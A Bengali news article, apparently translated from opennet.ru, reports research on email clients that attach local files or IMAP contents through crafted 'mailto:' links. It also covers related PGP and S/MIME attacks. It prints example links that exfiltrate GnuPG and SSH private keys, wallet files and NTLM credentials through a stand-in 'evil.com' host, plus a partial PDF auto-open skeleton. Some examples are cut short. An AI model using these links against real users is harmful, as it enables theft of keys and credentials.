"mailto:" লিঙ্ক ব্যবহার করে ইমেল ক্লায়েন্ট ব্যবহারকারীদের আক্রমণ করা

রুহর ইউনিভার্সিটি বোচুম (জার্মানি) এর গবেষকরা বিশ্লেষিত (পিডিএফ) উন্নত পরামিতিগুলির সাথে "mailto:" লিঙ্কগুলি প্রক্রিয়া করার সময় মেল ক্লায়েন্টদের আচরণ। পরীক্ষা করা বিশটি ইমেল ক্লায়েন্টের মধ্যে পাঁচটি এমন একটি আক্রমণের জন্য ঝুঁকিপূর্ণ ছিল যা "সংযুক্ত" প্যারামিটার ব্যবহার করে সম্পদ প্রতিস্থাপনকে কাজে লাগায়। একটি অতিরিক্ত ছয়টি ইমেল ক্লায়েন্ট একটি PGP এবং S/MIME কী প্রতিস্থাপন আক্রমণের জন্য ঝুঁকিপূর্ণ ছিল এবং তিনটি ক্লায়েন্ট এনক্রিপ্ট করা বার্তাগুলির বিষয়বস্তু বের করার জন্য একটি আক্রমণের জন্য ঝুঁকিপূর্ণ ছিল।

লিঙ্ক «mailto:লিঙ্কে উল্লিখিত ঠিকানায় একটি চিঠি লেখার জন্য একটি ইমেল ক্লায়েন্ট খোলার স্বয়ংক্রিয়ভাবে ব্যবহৃত হয়। ঠিকানা ছাড়াও, আপনি লিঙ্কের অংশ হিসাবে অতিরিক্ত পরামিতিগুলি নির্দিষ্ট করতে পারেন, যেমন চিঠির বিষয় এবং সাধারণ বিষয়বস্তুর জন্য একটি টেমপ্লেট। প্রস্তাবিত আক্রমণটি "সংযুক্ত করুন" পরামিতিকে ম্যানিপুলেট করে, যা আপনাকে জেনারেট করা বার্তার সাথে একটি সংযুক্তি সংযুক্ত করতে দেয়।

মেল ক্লায়েন্ট থান্ডারবার্ড, জিনোম ইভোলিউশন (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL নোট (CVE-2020-4089) এবং পেগাসাস মেল একটি তুচ্ছ আক্রমণের জন্য ঝুঁকিপূর্ণ ছিল যা আপনাকে স্বয়ংক্রিয়ভাবে সংযুক্ত করতে দেয় যে কোনো স্থানীয় ফাইল, "mailto:?attach=path_to_file" এর মতো একটি লিঙ্কের মাধ্যমে নির্দিষ্ট করা হয়েছে। ফাইলটি একটি সতর্কতা প্রদর্শন ছাড়াই সংযুক্ত করা হয়েছে, তাই বিশেষ মনোযোগ ছাড়াই, ব্যবহারকারী লক্ষ্য করবেন না যে চিঠিটি একটি সংযুক্তির সাথে পাঠানো হবে।

উদাহরণস্বরূপ, একটি লিঙ্ক ব্যবহার করে যেমন "mailto:[ইমেল সুরক্ষিত]&subject=Title&body=Text&attach=~/.gnupg/secring.gpg" আপনি চিঠিতে GnuPG থেকে ব্যক্তিগত কী সন্নিবেশ করতে পারেন। এছাড়াও আপনি ক্রিপ্টো ওয়ালেটের বিষয়বস্তু পাঠাতে পারেন (~/.bitcoin/wallet.dat), SSH কী (~/.ssh/id_rsa) এবং ব্যবহারকারীর কাছে অ্যাক্সেসযোগ্য যেকোনো ফাইল। তাছাড়া, Thunderbird আপনাকে "attach=/tmp/*.txt" এর মত কনস্ট্রাক্ট ব্যবহার করে মাস্ক দিয়ে ফাইলের গ্রুপ অ্যাটাচ করতে দেয়।

স্থানীয় ফাইলগুলি ছাড়াও, কিছু ইমেল ক্লায়েন্ট IMAP সার্ভারে নেটওয়ার্ক স্টোরেজ এবং পাথগুলির লিঙ্কগুলি প্রক্রিয়া করে৷ বিশেষ করে, IBM Notes আপনাকে "attach=\\evil.com\dummyfile" এর মতো লিঙ্কগুলি প্রক্রিয়া করার সময় একটি নেটওয়ার্ক ডিরেক্টরি থেকে একটি ফাইল স্থানান্তর করতে দেয়, সেইসাথে আক্রমণকারী দ্বারা নিয়ন্ত্রিত একটি SMB সার্ভারে একটি লিঙ্ক পাঠিয়ে NTLM প্রমাণীকরণ পরামিতিগুলিকে বাধা দেয়। (অনুরোধ বর্তমান প্রমাণীকরণ পরামিতি ব্যবহারকারীর সাথে পাঠানো হবে)।

Thunderbird সফলভাবে “attach=imap:///fetch>UID>/INBOX>1/” এর মতো অনুরোধগুলি প্রক্রিয়া করে, যা আপনাকে IMAP সার্ভারে ফোল্ডার থেকে সামগ্রী সংযুক্ত করতে দেয়৷ একই সময়ে, IMAP থেকে প্রাপ্ত বার্তাগুলি, OpenPGP এবং S/MIME এর মাধ্যমে এনক্রিপ্ট করা, পাঠানোর আগে মেল ক্লায়েন্ট দ্বারা স্বয়ংক্রিয়ভাবে ডিক্রিপ্ট করা হয়। থান্ডারবার্ডের বিকাশকারীরা ছিলেন বিজ্ঞপ্তি ফেব্রুয়ারি এবং ইস্যুতে সমস্যা সম্পর্কে থান্ডারবার্ড 78 সমস্যাটি ইতিমধ্যেই ঠিক করা হয়েছে (থান্ডারবার্ড শাখা 52, 60 এবং 68 দুর্বল থাকে)।

থান্ডারবার্ডের পুরানো সংস্করণগুলিও গবেষকদের দ্বারা প্রস্তাবিত PGP এবং S/MIME-তে আক্রমণের অন্যান্য দুটি রূপের জন্য ঝুঁকিপূর্ণ ছিল। বিশেষ করে, থান্ডারবার্ড, সেইসাথে আউটলুক, পোস্টবক্স, ইএম ক্লায়েন্ট, মেলমেট এবং R2Mail2, একটি মূল প্রতিস্থাপন আক্রমণের সাপেক্ষে ছিল, এই কারণে যে মেল ক্লায়েন্ট স্বয়ংক্রিয়ভাবে S/MIME বার্তাগুলিতে প্রেরিত নতুন শংসাপত্রগুলি আমদানি এবং ইনস্টল করে, যা অনুমতি দেয় আক্রমণকারী ইতিমধ্যে ব্যবহারকারীর দ্বারা সংরক্ষিত সর্বজনীন কীগুলির প্রতিস্থাপন সংগঠিত করতে।

দ্বিতীয় আক্রমণ, যার জন্য থান্ডারবার্ড, পোস্টবক্স এবং মেলমেট সংবেদনশীল, খসড়া বার্তাগুলি স্বয়ংক্রিয়ভাবে সংরক্ষণ করার প্রক্রিয়াটির বৈশিষ্ট্যগুলিকে হেরফের করে এবং মেইলটো প্যারামিটার ব্যবহার করে, এনক্রিপ্ট করা বার্তাগুলির ডিক্রিপশন শুরু করতে বা নির্বিচারে বার্তাগুলির জন্য একটি ডিজিটাল স্বাক্ষর যুক্ত করার অনুমতি দেয়। আক্রমণকারীর IMAP সার্ভারে ফলাফলের পরবর্তী সংক্রমণ। এই আক্রমণে, সাইফারটেক্সটটি "বডি" প্যারামিটারের মাধ্যমে প্রেরণ করা হয় এবং আক্রমণকারীর IMAP সার্ভারে একটি কল শুরু করতে "মেটা রিফ্রেশ" ট্যাগ ব্যবহার করা হয়। উদাহরণ স্বরূপ: ' '

ব্যবহারকারীর মিথস্ক্রিয়া ছাড়াই স্বয়ংক্রিয়ভাবে "mailto:" লিঙ্কগুলি প্রক্রিয়া করতে, বিশেষভাবে ডিজাইন করা PDF নথিগুলি ব্যবহার করা যেতে পারে - PDF এ OpenAction অ্যাকশন আপনাকে একটি নথি খোলার সময় স্বয়ংক্রিয়ভাবে mailto হ্যান্ডলার চালু করতে দেয়:

% পিডিএফ-১.৫
1 0 অবজেক্ট
<< /প্রকার /ক্যাটালগ /ওপেনঅ্যাকশন [2 0 আর] >>
endobj

2 0 অবজেক্ট
>
endobj

উত্স: opennet.ru